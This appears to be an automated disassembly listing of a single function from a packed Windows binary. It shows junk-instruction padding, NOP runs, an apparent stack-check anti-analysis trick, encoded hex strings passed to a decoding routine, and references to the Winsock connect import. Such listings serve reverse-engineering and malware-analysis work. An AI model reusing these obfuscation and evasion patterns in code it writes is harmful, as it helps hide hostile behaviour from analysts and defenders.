Function at 0x40ba1c
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
jmp 0x40ba37
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push ebx
mov ebx, 1
mov ebx, 2
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 5
pop ebx
mov dword [ebp - 4], esp
push 0
call dword [0x5f5ef2]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x40bac5
push 6
call fcn.0046cc8f
add esp, 4
fninit
push reloc.WSOCK32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x40badc
mov eax, 0x4992db
push eax
push 1
mov ebx, 0x178
call fcn.0046e110
add esp, 0x10
mov dword [ebp - 4], eax
push reloc.WSOCK32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x40bb05
mov eax, 0x4992db
push eax
push 1
mov ebx, 0x198
call fcn.0046dc10
add esp, 0x10
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40bb2b
push ebx
call fcn.0046cc7d
add esp, 4
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
call fcn.0040bf34
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40bb60
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40bb70
push ebx
call fcn.0046cc7d
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [0x5f5dba]
test ebx, ebx
je 0x40bb87
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [0x5f5dba], eax
push 0x80000301
push 0
push dword [ebp + 0xc]
push 1
mov ebx, 0x198
call fcn.0046dc10
add esp, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.0040bf34
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40bbe1
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40bbf1
push ebx
call fcn.0046cc7d
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [0x5f5dbe]
test ebx, ebx
je 0x40bc08
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [0x5f5dbe], eax
push 0x80000301
push 0
push dword [ebp + 0x10]
push 1
mov ebx, 0x198
call fcn.0046dc10
add esp, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.0040bf34
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40bc62
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40bc72
push ebx
call fcn.0046cc7d
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [0x5f5dc2]
test ebx, ebx
je 0x40bc89
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [0x5f5dc2], eax
mov eax, str.44658C1A684BC4AF1095D84927BC3AD658823A91D6A010AB2E3FC0EA2B74376A28F6EBFE851D49B3392CA12DB24C71CAE0F76C18D5742FF4394B280CFC20334F982AEEE833B962DD934296C06E3AB9E52C856AB3DB20150F5BC6701995876D7382740583D2184AACC709C9B88EBBF5CD914660EE7849CB3F22D7BFCC1415FCFB
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040c15a
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40bcb3
push ebx
call fcn.0046cc7d
add esp, 4
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
call fcn.0040bf34
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40bce8
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40bcf8
push ebx
call fcn.0046cc7d
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [0x5f5dc6]
test ebx, ebx
je 0x40bd0f
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [0x5f5dc6], eax
mov eax, str.C15525691BAE8850560D954A079F1D50E747239BD157F13B3BCBADA13D9B00F8C61D3137C72757ACE82F1BFA5299CB0A7095C8845C37C5D49A57623F8633B4D4C1DBC6932A88A25B08D4A3CD16F7E6681430371FE1243B829B30A87DF97CBB0B9F29FBBE0733F9954E0B3E562CFF71018B31D8B4D5664F1A4654EED6CFCEF501
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040c15a
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40bd39
push ebx
call fcn.0046cc7d
add esp, 4
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
call fcn.0040bf34
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40bd6e
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40bd7e
push ebx
call fcn.0046cc7d
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [0x5f5dca]
test ebx, ebx
je 0x40bd95
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [0x5f5dca], eax
push reloc.WSOCK32.dll_connect
push 0
push str.EBE40B5F
push 1
mov ebx, 0x198
call fcn.0046dc10
add esp, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.0040bf34
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40bdf1
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40be01
push ebx
call fcn.0046cc7d
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [0x5f5dce]
test ebx, ebx
je 0x40be18
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [0x5f5dce], eax
mov eax, dword [ebp + 0x24]
mov dword [0x5f5dd2], eax
cmp dword [0x5f5dd6], 0
jne 0x40be4f
push 0
mov ebx, 4
mov eax, 0x475110
call fcn.0046d760
add esp, 4
mov dword [0x5f5dd6], eax
mov eax, dword [ebp + 0x14]
mov dword [0x5f5dda], eax
push 0x4992db
mov ebx, dword [ebp + 0x2c]
push dword [ebx]
call fcn.0040b3b7
add esp, 8
cmp eax, 0
je 0x40bec1
push reloc.WSOCK32.dll_connect
push 0
mov ebx, dword [ebp + 0x2c]
mov eax, dword [ebx]
test eax, eax
jne 0x40be87
mov eax, 0x4992db
push eax
push 1
mov ebx, 0x198
call fcn.0046dc10
add esp, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040c3c8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40beb9
push ebx
call fcn.0046cc7d
add esp, 4
mov eax, dword [ebp - 8]
mov dword [0x5f5dde], eax
jmp 0x40bed1
nop
nop
nop
nop
nop
nop
mov esp, ebp
pop ebp
ret 0x2c